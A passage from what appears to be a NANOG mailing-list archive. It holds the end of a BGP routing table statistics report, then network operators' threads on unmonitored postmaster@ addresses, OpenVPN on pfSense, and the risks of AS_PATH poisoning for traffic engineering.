Peru S.A.A., PE 3816 1035 521 115 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 13999 999 514 235 Mega Cable, S.A. de C.V., MX 11172 937 128 61 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1165 393 21 LINKdotNET-AS, EG 37611 968 107 9 Afrihost, ZA 24835 882 624 21 RAYA-AS, EG 36992 859 1536 70 ETISALAT-MISR, EG 36903 827 416 126 MT-MPLS, MA 8452 671 1731 19 TE-AS TE-AS, EG 29571 516 68 11 ORANGE-COTE-IVOIRE, CI 37492 471 470 57 ORANGE-, TN 37342 414 32 1 MOVITEL, MZ 15399 404 45 11 WANANCHI-, KE Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5999 3395 578 Uninet S.A. de C.V., MX 12479 5436 1629 141 UNI2-AS, ES 7545 4757 549 543 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 203 20 ALJAWWALSTC-AS, SA 11492 3652 238 607 CABLEONE - CABLE ONE, INC., US 6327 3614 1324 89 SHAW - Shaw Communications Inc., CA 10620 3415 534 434 Telmex Colombia S.A., CO 22773 3415 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 7552 3203 1451 30 VIETEL-AS-AP Viettel Group, VN Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5436 5295 UNI2-AS, ES 7545 4757 4214 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 4039 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3614 3525 SHAW - Shaw Communications Inc., CA 22773 3415 3259 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 7552 3203 3173 VIETEL-AS-AP Viettel Group, VN 8551 3170 3124 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11492 3652 3045 CABLEONE - CABLE ONE, INC., US 10620 3415 2981 Telmex Colombia S.A., CO Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 267804 UNALLOCATED 45.172.108.0/22 52361 ARSAT - Empresa Argentina de S 269037 UNALLOCATED 45.178.112.0/22 268224 UNKNOWN 269037 UNALLOCATED 45.178.112.0/23 268224 UNKNOWN 269037 UNALLOCATED 45.178.112.0/24 268224 UNKNOWN 269037 UNALLOCATED 45.178.113.0/24 268224 UNKNOWN 269037 UNALLOCATED 45.178.114.0/23 268224 UNKNOWN 269037 UNALLOCATED 45.178.114.0/24 268224 UNKNOWN 269037 UNALLOCATED 45.178.115.0/24 268224 UNKNOWN 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ 41.220.48.0/20 36900 -Reserved AS-, ZZ 41.242.92.0/24 37643 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:10 /9:11 /10:37 /11:100 /12:294 /13:569 /14:1129 /15:1913 /16:13268 /17:8007 /18:13967 /19:25845 /20:40353 /21:47462 /22:94847 /23:76783 /24:432913 /25:936 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4390 5436 UNI2-AS, ES 6327 3404 3614 SHAW - Shaw Communications Inc., CA 7155 3156 4064 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 2946 3778 ALJAWWALSTC-AS, SA 11492 2859 3652 CABLEONE - CABLE ONE, INC., US 22773 2652 3415 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 2623 3170 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11830 2049 2704 Instituto Costarricense de Electricidad y Telec 18566 1989 2094 MEGAPATH5-US - MegaPath Corporation, US 30036 1918 2167 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1689 2:1033 3:6 4:21 5:3164 6:47 7:1 8:1328 9:1 11:1 12:1795 13:350 14:2047 15:37 16:6 17:255 18:74 20:52 23:2737 24:2561 25:4 27:2444 31:2011 32:98 35:36 36:866 37:3033 38:1757 39:279 40:123 41:3168 42:816 43:2052 44:149 45:8314 46:3316 47:263 49:1356 50:1105 51:331 52:1015 54:283 55:710 56:6 57:47 58:1763 59:1075 60:524 61:2188 62:1964 63:1834 64:4985 65:2197 66:4838 67:2775 68:1164 69:3546 70:1368 71:642 72:2628 74:2727 75:1293 76:557 77:1785 78:1831 79:2307 80:1799 81:1495 82:1132 83:922 84:1132 85:2279 86:555 87:1544 88:1045 89:2531 90:215 91:6588 92:1423 93:2469 94:2462 95:3304 96:950 97:343 98:959 99:774 100:86 101:1173 102:626 103:21432 104:3550 105:265 106:777 107:1758 108:694 109:3682 110:1703 111:2038 112:1532 113:1369 114:1233 115:1738 116:1754 117:1913 118:2140 119:1647 120:1050 121:1049 122:2282 123:1764 124:1497 125:2014 128:1309 129:827 130:536 131:1822 132:824 133:222 134:1098 135:245 136:582 137:776 138:2068 139:888 140:600 141:884 142:804 143:1077 144:900 145:491 146:1286 147:825 148:1689 149:1093 150:792 151:1009 152:1087 153:333 154:3883 155:916 156:1673 157:1022 158:659 159:1954 160:1600 161:939 162:2958 163:831 164:1238 165:1606 166:476 167:1412 168:3292 169:896 170:4188 171:600 172:1654 173:2235 174:1047 175:975 176:2367 177:4095 178:2549 179:1398 180:2158 181:2396 182:2716 183:1087 184:2259 185:15202 186:3642 187:2500 188:2979 189:2006 190:8212 191:1500 192:10061 193:6701 194:5467 195:4147 196:3125 197:1610 198:5931 199:5970 200:7150 201:5127 202:10465 203:10213 204:4541 205:3070 206:3230 207:3237 208:3949 209:4284 210:3931 211:2017 212:3107 213:2938 214:1112 215:55 216:5895 217:2238 218:873 219:605 220:1882 221:975 222:979 223:1376 End of report From gem at rellim.com Sat Jun 15 01:44:29 2019 From: gem at rellim.com (Gary E. Miller) Date: Fri, 14 Jun 2019 18:44:29 -0700 Subject: Postmaster@ Message-ID: <20190614184429.3ca12e83@rellim.com> Yo All! Is it no longer required to monitor the postmaster@ ? Did RFC 822 and RFC 5321 get repealed? Or is M$ more special than the rest of us? RGDS GARY --------------------------------------------------------------------------- Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 gem at rellim.com Tel:+1 541 382 8588 Veritas liberabit vos. -- Quid est veritas? "If you can’t measure it, you can’t improve it." - Lord Kelvin Begin forwarded message: Date: Sat, 15 Jun 2019 01:38:16 +0000 From: The Outlook.com Team To: Subject: Fw: gem : rellim541 This email address is not monitored. Please visit http://postmaster.outlook.com for information about sending email to Outlook.com, including troubleshooting information. If you are an Outlook.com user please visit http://answers.microsoft.com/ to learn more about our services, find answers to your questions, and share your feedback. Sincerely, Outlook.com Team Microsoft One Microsoft Way. Redmond, WA 98052, USA. Microsoft respects your privacy. To learn more, please read our online Privacy Statement at http://privacy.microsoft.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 851 bytes Desc: OpenPGP digital signature URL: From mel at beckman.org Sat Jun 15 01:47:54 2019 From: mel at beckman.org (Mel Beckman) Date: Sat, 15 Jun 2019 01:47:54 +0000 Subject: Postmaster@ In-Reply-To: <20190614184429.3ca12e83@rellim.com> References: <20190614184429.3ca12e83@rellim.com> Message-ID: <9DEA4301-DF76-4CE8-977E-525604753443@beckman.org> Postmaster@ is so widely spammed as to be useless. Standards, and even laws, can be overcome by reality. Witness the DoNotCall list. -mel beckman > On Jun 14, 2019, at 6:45 PM, Gary E. Miller wrote: > > Yo All! > > Is it no longer required to monitor the postmaster@ ? > > Did RFC 822 and RFC 5321 get repealed? Or is M$ more special than the > rest of us? > > RGDS > GARY > --------------------------------------------------------------------------- > Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 > gem at rellim.com Tel:+1 541 382 8588 > > Veritas liberabit vos. -- Quid est veritas? > "If you can’t measure it, you can’t improve it." - Lord Kelvin > > > Begin forwarded message: > > Date: Sat, 15 Jun 2019 01:38:16 +0000 > From: The Outlook.com Team > To: > Subject: Fw: gem : rellim541 > > > This email address is not monitored. Please visit > http://postmaster.outlook.com for information about sending email to > Outlook.com, including troubleshooting information. If you are an > Outlook.com user please visit http://answers.microsoft.com/ to learn > more about our services, find answers to your questions, and share your > feedback. > > Sincerely, > > Outlook.com Team > Microsoft > One Microsoft Way. Redmond, WA 98052, USA. > > > > Microsoft respects your privacy. To learn more, please read our online > Privacy Statement at http://privacy.microsoft.com From sc at ottie.org Sat Jun 15 07:31:52 2019 From: sc at ottie.org (Scott Christopher) Date: Sat, 15 Jun 2019 10:31:52 +0300 Subject: Postmaster@ In-Reply-To: <20190614184429.3ca12e83@rellim.com> References: <20190614184429.3ca12e83@rellim.com> Message-ID: <95cfb591-1b9d-4ea3-905f-07fa025ae4d5@www.fastmail.com> Gary E. Miller wrote: > Is it no longer required to monitor the postmaster@ ? > > Did RFC 822 and RFC 5321 get repealed? Or is M$ more special than the > rest of us? Not just M$ but Cloudflare too: https://www.cloudflare.com/abuse Worse is that you might need to complete a CAPTCHA just to get to that page, /me barfs -- S.C. From niels=nanog at bakker.net Sat Jun 15 10:52:42 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Sat, 15 Jun 2019 12:52:42 +0200 Subject: Postmaster@ In-Reply-To: <9DEA4301-DF76-4CE8-977E-525604753443@beckman.org> References: <20190614184429.3ca12e83@rellim.com> <9DEA4301-DF76-4CE8-977E-525604753443@beckman.org> Message-ID: <20190615105242.GA6254@jima.tpb.net> * mel at beckman.org (Mel Beckman) [Sat 15 Jun 2019, 03:49 CEST]: >Postmaster@ is so widely spammed as to be useless. Not my experience at all (*knocks wood*). RIPE database contacts, on the other hand... -- Niels. From mark.tinka at seacom.mu Sat Jun 15 11:49:29 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Sat, 15 Jun 2019 13:49:29 +0200 Subject: SSL VPN In-Reply-To: References: Message-ID: The former. Mark. On 13/Jun/19 20:25, Jasper Backer wrote: > > Just wondering, is the client export actually tied to the logged in > user, or can every user download all other VPN profiles (which > hopefully are of little use as credentials are likely unknown)? It > used to be that way, would be nice if it is tied to just the logged in > user. > > Cheers, > > Jasper > > On 13-06-19 20:06, Matt Harris wrote: >> On Thu, Jun 13, 2019 at 12:59 PM Mark Tinka > > wrote: >> >> >> OpenVPN in pfSense? >> >> We run tons of these around the world. >> >> Mark. >> >> >> With the client config generator package, "openvpn-client-export", >> installed, this is imho the best option for an end-user VPN. pfSense >> has a much nicer UI than OpenVPN AS, and that UI also supports other >> things you might need (like routing protocols via bird or quagga, >> managing the firewall, etc) as well. I can't see any reason to pay >> money for OpenVPN AS when you compare it to what you get for free >> with pfSense.  The NetGate pfSense appliances are quite nicely >> spec'd, too, if you just have cash burning a hole in your pocket.  It >> also easily ties in OpenVPN authentication to RADIUS or LDAP, and >> getting it working with Active Directory on the backend is trivially >> simple.  >> -------------- next part -------------- An HTML attachment was scrubbed... URL: From owen at delong.com Sat Jun 15 12:32:21 2019 From: owen at delong.com (Owen DeLong) Date: Sat, 15 Jun 2019 05:32:21 -0700 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: > On Jun 13, 2019, at 7:06 AM, Job Snijders wrote: > > Hi Joe, > > On Thu, Jun 13, 2019 at 9:59 Joe Abley > wrote: > Hey Joe, > > On 12 Jun 2019, at 12:37, Joe Provo > wrote: > > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > >> Send abuse complaint to the upstreams > > > > ...and then name & shame publicly. AS-path forgery "for TE" was > > never a good idea. Sharing the affected prefix[es]/path[s] would > > be good. > > I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. > > However, there's an argument that AS_PATH is really just a loop-avoidance mechanism, not some kind of AS-granular traceroute for prefix propagation. In that sense, stuffing 9327 into a prefix as a mechanism to stop that prefix being accepted by AS 9327 seems almost reasonable. (I assume this is the kind of TE you are talking about.) > > What is the principal harm of doing this? Honest question. I'm not advocating for anything, just curious. > > > Excellent question. > > 1/ We can’t really expect on the loop detection to work that way at the “jacked” side. So if this is innocent traffic engineering, it is unreliable at best. Why not? It’s certainly supposed to work that way according to the RFCs. Yes, I know there are knobs for people that are too lazy/conservative/otherwise misguided to get multiple ASNs for their sites with distanct routing policies so that they’ll accept their announcements from their remote sites even though their own ASN is in the path (thus breaking BGP loop detection for their particular AS). However, it’s very likely (and certainly hopeful) that no transit ASN would operate this way. Since this TE method is unlikely to be used to control propagation to/through a stub ASN, it ought to be pretty reliable for the intended purpose. > 2/ Attribution. The moment you stuff AS 2914 anywhere in the path, we may get blamed for anything that happens through the IP addresses for that route. In a way the ASNs in the AS_PATH attribute an an inter-organizational escalation flowchart. I would think that expecting this to hold true is far less reliable than the expectation you just claimed was invalid in 1/ above. I don’t doubt that it might lead to misguided phone calls to 2914 (or other provider) as a result, but I’m not sure I would blame the misguided interpretation of the AS Path by the caller on the person who put the ASN in the path. Owen -------------- next part -------------- An HTML attachment was scrubbed... URL: From owen at delong.com Sat Jun 15 12:38:23 2019 From: owen at delong.com (Owen DeLong) Date: Sat, 15 Jun 2019 05:38:23 -0700 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: <2B0CE847-84E9-45A1-80AA-9AF1E29D9D59@delong.com> > On Jun 13, 2019, at 8:24 AM, Job Snijders wrote: > > On Thu, Jun 13, 2019 at 11:18 Warren Kumari > wrote: > On Thu, Jun 13, 2019 at 9:59 AM Joe Abley > wrote: > > > > Hey Joe, > > > > On 12 Jun 2019, at 12:37, Joe Provo > wrote: > > > > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > > >> Send abuse complaint to the upstreams > > > > > > ...and then name & shame publicly. AS-path forgery "for TE" was > > > never a good idea. Sharing the affected prefix[es]/path[s] would > > > be good. > > > > I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. > > > > Actually, I've been meaning to start a thread on this for a while. > > I have an anycast prefix - at one location I'm a customer of a > customer of ISP_X & ISP_Y & ISP_Z. Because ISP_X prefers customer > routes, any time a packet touches ISP_X, it goes to this location, > even though it is (severely) suboptimal -- things would be better if > ISP_X didn't accept this route in this location. > > Now, the obvious answer of "well, just ask your provider in this > location to not announce it to ISP_X. That's what communities / the > telephone were invented for!" doesn't work for various (entirely > non-technical) reasons... > > Other than doing path-poisoning can anyone think of a way to > accomplish what I want? (modulo the "just become a direct customer > instead of being a customer of a customer" or "disable that site", or > "convince the AS upstream of you to deploy communities / filters"). > While icky, sometimes stuffing other people's AS in the path seems to > be the only solution... > > > Given the prevalence of peerlock-style filters at the transit-free club, poisoning the path may result in a large outage for your prefix rather than a clever optimization. Poisoning paths is bad for all parties involved. > > Kind regards, > > Job Job, Permit me to apply some reflective listening to your statement: What I heard you say is: “I’m not going to offer a solution to your problem, but you shouldn’t use the one you have that currently works because some things my friends and I are doing react poorly to it and you may suffer some consequences as a result.” Owen -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at instituut.net Sat Jun 15 12:43:33 2019 From: job at instituut.net (Job Snijders) Date: Sat, 15 Jun 2019 14:43:33 +0200 Subject: someone is using my AS number In-Reply-To: <2B0CE847-84E9-45A1-80AA-9AF1E29D9D59@delong.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <2B0CE847-84E9-45A1-80AA-9AF1E29D9D59@delong.com> Message-ID: On Sat, Jun 15, 2019 at 2:38 PM Owen DeLong wrote: > Job, > > Permit me to apply some reflective listening to your statement: > > What I heard you say is: “I’m not going to offer a solution to your problem, but you shouldn’t use the one you have that currently works because some things my friends and I are doing react poorly to it and you may suffer some consequences as a result.” I have no idea how you would arrive at such a contrived convoluted interpretation. I'm sorry I can't help further your understanding of how modern day Internet routing works. Kind regards, Job From fhr at fhrnet.eu Sat Jun 15 12:53:10 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Sat, 15 Jun 2019 12:53:10 +0000 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: <0102016b5b32e382-8b3d0591-1086-4c33-837f-7316dff3de18-000000@eu-west-1.amazonses.com> On 15 June 2019 2:32:21 pm GMT+02:00, Owen DeLong wrote: > > >> On Jun 13, 2019, at 7:06 AM, Job Snijders wrote: >> >> Hi Joe, >> >> On Thu, Jun 13, 2019 at 9:59 Joe Abley > wrote: >> Hey Joe, >> >> On 12 Jun 2019, at 12:37, Joe Provo > wrote: >> >> > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG >wrote: >> >> Send abuse complaint to the upstreams >> > >> > ...and then name & shame publicly. AS-path forgery "for TE" was >> > never a good idea. Sharing the affected prefix[es]/path[s] would >> > be good. >> >> I realise lots of people dislike AS_PATH stuffing with other peoples' >AS numbers and treat it as a form of hijacking. >> >> However, there's an argument that AS_PATH is really just a >loop-avoidance mechanism, not some kind of AS-granular traceroute for >prefix propagation. In that sense, stuffing 9327 into a prefix as a >mechanism to stop that prefix being accepted by AS 9327 seems almost >reasonable. (I assume this is the kind of TE you are talking about.) >> >> What is the principal harm of doing this? Honest question. I'm not >advocating for anything, just curious. >> >> >> Excellent question. >> >> 1/ We can’t really expect on the loop detection to work that way at >the “jacked” side. So if this is innocent traffic engineering, it is >unreliable at best. > >Why not? It’s certainly supposed to work that way according to the >RFCs. Yes, I know there are knobs for people that are too >lazy/conservative/otherwise misguided to get multiple ASNs for their >sites with distanct routing policies so that they’ll accept their >announcements from their remote sites even though their own ASN is in >the path (thus breaking BGP loop detection for their particular AS). > >However, it’s very likely (and certainly hopeful) that no transit ASN >would operate this way. > >Since this TE method is unlikely to be used to control propagation >to/through a stub ASN, it ought to be pretty reliable for the intended >purpose. > In other words, if I have an upstream that uses 6939 for transit, I'm free to permanently prepend 6939 to stop propagation to that network? Isn't using a community that says "do not export to 6939" a better and much cleaner solution? >> 2/ Attribution. The moment you stuff AS 2914 anywhere in the path, we >may get blamed for anything that happens through the IP addresses for >that route. In a way the ASNs in the AS_PATH attribute an an >inter-organizational escalation flowchart. > >I would think that expecting this to hold true is far less reliable >than the expectation you just claimed was invalid in 1/ above. > >I don’t doubt that it might lead to misguided phone calls to 2914 (or >other provider) as a result, but I’m not sure I would blame the >misguided interpretation of the AS Path by the caller on the person who >put the ASN in the path. > You will have to explain that to SpamHaus and other organizations who are in the business (literally) of blacklisting all upstreams of "rogue" networks. Kind Regards, Filip -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at instituut.net Sat Jun 15 13:03:12 2019 From: job at instituut.net (Job Snijders) Date: Sat, 15 Jun 2019 15:03:12 +0200 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: <20190615130312.GH32047@hanna.meerval.net> On Sat, Jun 15, 2019 at 05:32:21AM -0700, Owen DeLong wrote: > > What is the principal harm of doing this? Honest question. I'm not advocating for anything, just curious. > > > > Excellent question. > > > > 1/ We can’t really expect on the loop detection to work that way at > > the “jacked” side. So if this is innocent traffic engineering, it is > > unreliable at best. > > Why not? There is no signal from the remote ASN (the one that receive the route announcement) to the Originator ASN about the remote ASN's loop detection policies. Therefor, since you can't know what the remote side will do ahead of time. The only recourse left at that point is active probing (trial & error). Trial and error, where the 'error' state may be an hard outage, means that the method is unreliable. > Since this TE method is unlikely to be used to control propagation > to/through a stub ASN, it ought to be pretty reliable for the intended > purpose. To all other people - AS_PATH poisoning, as a method to perform traffic engineering, is *not* reliable and can lead to hard outages. Regards, Job From jlewis at lewis.org Sat Jun 15 13:19:23 2019 From: jlewis at lewis.org (Jon Lewis) Date: Sat, 15 Jun 2019 09:19:23 -0400 (EDT) Subject: someone is using my AS number In-Reply-To: <0102016b5b32e382-8b3d0591-1086-4c33-837f-7316dff3de18-000000@eu-west-1.amazonses.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <0102016b5b32e382-8b3d0591-1086-4c33-837f-7316dff3de18-000000@eu-west-1.amazonses.com> Message-ID: On Sat, 15 Jun 2019, Filip Hruska wrote: > In other words, if I have an upstream that uses 6939 for transit, I'm free to permanently prepend 6939 to > stop propagation to that network? Isn't using a community that says "do not export to 6939" a better and much > cleaner solution? Sure, unless/until that doesn't work. In the case I recall where I used as-path poisoning, we were multihomed to two NSPs. For TE purposes, we'd been advertising a couple of more specifics to NSP1 with community strings to limit propagation. One day, NSP2 went from being a peer of NSP1 to a customer of NSP1. Generally, if a network even has customer usable propagation limiting community support, it's only applicable to their peers, not customers. So, when the peering relationship between NSP1 & NSP2 changed, our TE became less effective because NSP2 started receiving the more specifics from NSP1. The fix was to add NSP2's AS to the more specifics sent to NSP1...and to eventually get another transit provider. > You will have to explain that to SpamHaus and other organizations who are in the business (literally) of > blacklisting all upstreams of "rogue" networks. I think they have enough clue to notice "screwy as-paths". ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From jlewis at lewis.org Sat Jun 15 13:31:03 2019 From: jlewis at lewis.org (Jon Lewis) Date: Sat, 15 Jun 2019 09:31:03 -0400 (EDT) Subject: someone is using my AS number In-Reply-To: <20190615130312.GH32047@hanna.meerval.net> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190615130312.GH32047@hanna.meerval.net> Message-ID: On Sat, 15 Jun 2019, Job Snijders wrote: > There is no signal from the remote ASN (the one that receive the route > announcement) to the Originator ASN about the remote ASN's loop > detection policies. Therefor, since you can't know what the remote side > will do ahead of time. The only recourse left at that point is active > probing (trial & error). Trial and error, where the 'error' state may be > an hard outage, means that the method is unreliable. How does as-path poisoning failing (i.e. the AS you wanted to ignore a route accepts it) cause a hard outage? When used for TE, a failure just means a route/path you wanted some remote network to ignore is not ignored and might be used. i.e. Your TE may not work as desired, but the packets will still get to you, just not necessarily via the path you wanted them to take. ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From owen at delong.com Sat Jun 15 13:42:55 2019 From: owen at delong.com (Owen DeLong) Date: Sat, 15 Jun 2019 06:42:55 -0700 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190614001743.GA97027@gweep.net> <0102016b5502a896-f9b827c0-79fd-4d00-9383-f618b5c2013c-000000@eu-west-1.amazonses.com> Message-ID: <68307D98-9D01-4DD6-9032-2D47D305BAF2@delong.com> > On Jun 14, 2019, at 4:22 AM, Jared Mauch wrote: > > > >> On Jun 14, 2019, at 4:02 AM, Filip Hruska wrote: >> >> HE doesn't provide any community based TE and I would say they're a pretty major network. > > With all respect to my friends at HE, this is a major gap for a network in 2019. I know this has lost them business over time with customers leaving due to the lack of TE communities. I know it takes time/effort to design and roll-out, so hopefully it’s coming for them soon. > > - Jared It’s unlikely. IMHO, it has to do with the mentality of Mike Leber and Mike Tindle. Owen From job at instituut.net Sat Jun 15 14:18:46 2019 From: job at instituut.net (Job Snijders) Date: Sat, 15 Jun 2019 16:18:46 +0200 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190615130312.GH32047@hanna.meerval.net> Message-ID: <20190615141846.GI32047@hanna.meerval.net> On Sat, Jun 15, 2019 at 09:31:03AM -0400, Jon Lewis wrote: > On Sat, 15 Jun 2019, Job Snijders wrote: > > There is no signal from the remote ASN (the one that receive the > > route announcement) to the Originator ASN about the remote ASN's > > loop detection policies. Therefor, since you can't know what the > > remote side will do ahead of time. The only recourse left at that > > point is active probing (trial & error). Trial and error, where the > > 'error' state may be an hard outage, means that the method is > > unreliable. > > How does as-path poisoning failing (i.e. the AS you wanted to ignore a > route accepts it) cause a hard outage? Formatting warning, what follows is an ASCII art diagram: | "the rest" | +---------------+ | | +------+ +------+ | | | | +--+ 2914 +--------+ 7018 | | | | | | | +--+---+ +---+--+ | | | | | +-----+ | | | | | | | +----+ NSP +-----+ | | | | +---+-+ | | | +---+---+ | | | +----------+ ISP A | | | +-------+ In the above the ISP called "ISP A" is multihomed to "NTT" and an entity called "NSP", the NSP is multi-homed to both NTT and AT&T. I attempted to make this a realistic scenario. In the above situation the ISP A entity might want to force certain traffic over the NTT link, and instead of using BGP communities they use BGP AS_PATH poisoning. The moment they mangle the AS_PATH on their announcement and insert 2914 in their announcement towards NSP, the following can happen: When ISP A would want to poison the path, ISP A may expect the following paths to be visible from the ATT and NTT routes: AS_PATH | footnotes 7018_NSP_ISPA_2914_ISPA | 1 2914_7018_NSP_ISPA_2914_ISPA | 1 7018_2914_NSP_ISPA_2914_ISPA | 2 2914_NSP_ISPA_2914_ISPA | 2 NSP_ISPA_2914_ISPA | 3 7018_2914_ISPA | 4 2914_ISPA | 4 footnotes: 1) rejected on AT&T routers due to peerlock (2914 is seen in the AS_PATH) 2) rejected by NTT routers due to as-path loop detection, thus never propagated to AT&T. Neither NTT or AT&T will ever use this path. 3) potentially rejected by NSP due to presence of an upstream ASN in AS_PATH, thus neither NTT or AT&T will ever this path. 4) accepted by both AT&T and NTT. note that this effectively is ISP A single homing In both scenarios it was ISP A's goal to receive less traffic over the NSP-ISP A link, and the moment they deployed this policy, they'll think it was successful, because traffic comes in via the NTT-ISP A link. Now imagine (weeks after doing the AS_PATH poisoning), the link between 2914-ISP A is taken down (maintenance, outage, or whatever) - at that moment ISP A will discover that their AS_PATH mangling resulted in a hard outage. There was not switching to the paths via NSP. In fact, the NSP may not even have accepted the routes in the first place because many NSPs reject their upstream's ASNs when seen in routes received from their downstreams. In this thread, there is some hints of anecdata about when this trick works 'as intended', but what I'm trying to point out no shortage of examples where it leads to a problematic situation. In this thread we seem to have some unclarity about what 'reliable' or 'unreliable' means. AT&T will never proactively notify ISP A about changes to their AS_PATH filters, so what works today may be entirely broken tomorrow. I'm not disputing that AS_PATH poisoning can't be used to accomplish traffic engineering objectives, but it is similar to relying on linux operating system 0-days to obtain root access on a server. Sure, sometimes it may work, but I hope we can agree that for business purposes it is not a reliable or recommend way to achieve your goals via exploits. > When used for TE, a failure just means a route/path you wanted some > remote network to ignore is not ignored and might be used. i.e. Your > TE may not work as desired, but the packets will still get to you, > just not necessarily via the path you wanted them to take. It depends! Keep in mind that traffic engineering based on AS_PATH mangling is exploiting a property of the default as-path loop detection behaviour in BGP implementations. This means we're relying on a second order effect. The loop detection exists to stop the propagation of loops. This means that such paths won't be considered at even a lower priority, but are just rejected. The moment paths are rejected at any point anywhere in the BGP graph, you risk unreachablity. I hope this helped clarify a bit. Kind regards, Job From owen at delong.com Sat Jun 15 14:45:01 2019 From: owen at delong.com (Owen DeLong) Date: Sat, 15 Jun 2019 07:45:01 -0700 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> 